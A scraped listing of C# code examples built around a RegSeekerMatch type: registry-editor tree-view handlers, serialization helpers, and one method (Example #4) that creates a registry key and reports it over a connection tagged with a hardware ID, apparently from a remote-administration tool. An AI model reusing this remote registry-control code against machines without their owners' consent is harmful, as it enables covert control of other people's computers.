Example #1
0
        private void AddRootKey(RegSeekerMatch match)
        {
            TreeNode node = CreateNode(match.Key, match.Key, match.Data);

            node.Nodes.Add(new TreeNode());
            tvRegistryDirectory.Nodes.Add(node);
        }
        public void AddKeyToTree(string rootKey, RegSeekerMatch match)
        {
            TreeNode parent = GetTreeNode(rootKey);

            tvRegistryDirectory.Invoke((MethodInvoker) delegate
            {
                TreeNode node = CreateNode(match.Key, match.Key, match.Data);
                if (match.HasSubKeys)
                {
                    node.Nodes.Add(new TreeNode());
                }

                parent.Nodes.Add(node);

                if (!parent.IsExpanded)
                {
                    tvRegistryDirectory.SelectedNode = parent;
                    tvRegistryDirectory.AfterExpand += this.specialCreateRegistryKey_AfterExpand;
                    parent.Expand();
                }
                else
                {
                    tvRegistryDirectory.SelectedNode = node;
                    tvRegistryDirectory.LabelEdit    = true;
                    node.BeginEdit();
                }
            });
        }
Example #3
0
        public void AddKeyToTree(string rootKey, RegSeekerMatch match)
        {
            TreeNode parent = GetTreeNode(rootKey);

            tvRegistryDirectory.Invoke((MethodInvoker) delegate
            {
                //This will execute in the form thread
                TreeNode node = CreateNode(match.Key, match.Key, match.Data);
                if (match.HasSubKeys)
                {
                    node.Nodes.Add(new TreeNode());
                }

                parent.Nodes.Add(node);

                if (!parent.IsExpanded)
                {
                    tvRegistryDirectory.SelectedNode = parent;
                    tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand);
                    parent.Expand();
                }
                else
                {
                    tvRegistryDirectory.SelectedNode = node;
                    tvRegistryDirectory.LabelEdit    = true;
                    node.BeginEdit();
                }
            });
        }
Example #4
0
        public void CreateKey(string ParentPath)
        {
            string errorMsg;
            string newKeyName = "";

            try
            {
                RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg);
                var Match = new RegSeekerMatch
                {
                    Key        = newKeyName,
                    Data       = RegistryKeyHelper.GetDefaultValues(),
                    HasSubKeys = false
                };

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString    = "regManager";
                msgpack.ForcePathObject("Hwid").AsString       = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString    = "CreateKey";
                msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
                msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match));
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Example #5
0
 /// <summary>
 /// Reports created registry keys.
 /// </summary>
 /// <param name="parentPath">The registry key parent path.</param>
 /// <param name="match">The created registry key.</param>
 private void OnKeyCreated(string parentPath, RegSeekerMatch match)
 {
     SynchronizationContext.Post(t =>
     {
         var handler = KeyCreated;
         handler?.Invoke(this, parentPath, (RegSeekerMatch)t);
     }, match);
 }
Example #6
0
 public static RegSeekerMatch DeSerializeMatch(byte[] bytes)
 {
     using (MemoryStream ms = new MemoryStream(bytes))
     {
         RegSeekerMatch Match = Serializer.Deserialize <RegSeekerMatch>(ms);
         return(Match);
     }
 }
Example #7
0
        private void AddMatch(string key, RegValueData[] values, int subkeycount)
        {
            RegSeekerMatch match = new RegSeekerMatch {
                Key = key, Data = values, HasSubKeys = subkeycount > 0
            };

            matches.Add(match);
        }
Example #8
0
 public static byte[] Serialize(RegSeekerMatch Matche)
 {
     using (MemoryStream ms = new MemoryStream())
     {
         Serializer.Serialize(ms, Matche);
         return(ms.ToArray());
     }
 }
Example #9
0
        private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey)
        {
            TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data);

            parent.Nodes.Add(node);
            if (subKey.HasSubKeys)
            {
                node.Nodes.Add(new TreeNode());
            }
            return(node);
        }
Example #10
0
        private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match)
        {
            TreeNode parent = GetTreeNode(rootKey);

            TreeNode node = AddKeyToTree(parent, match);

            node.EnsureVisible();

            tvRegistryDirectory.SelectedNode = node;
            node.Expand();
            tvRegistryDirectory.LabelEdit = true;
            node.BeginEdit();
        }
Example #11
0
        public void CreateNewKey(string rootKey, RegSeekerMatch match)
        {
            TreeNode parent = GetTreeNode(rootKey);

            tvRegistryDirectory.Invoke((MethodInvoker) delegate
            {
                TreeNode node = AddKeyToTree(parent, match);

                node.EnsureVisible();

                tvRegistryDirectory.SelectedNode = node;
                node.Expand();
                tvRegistryDirectory.LabelEdit = true;
                node.BeginEdit();
            });
        }
Example #12
0
 public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
     : this(new RegSeekerMatch[] { match }, rootKey)
 {
 }
Example #13
0
        private void OnKeyCreatedEventHandler(RegistryEditorAdapterHandler adapterHandler, string parentPath, RegSeekerMatch match)
        {
            TreeNode parent = GetTreeNode(parentPath);

            TreeNode node = AddKeyToTree(parent, match);

            node.EnsureVisible();

            tvRegistryDirectory.SelectedNode = node;
            node.Expand();
            tvRegistryDirectory.LabelEdit = true;
            node.BeginEdit();
        }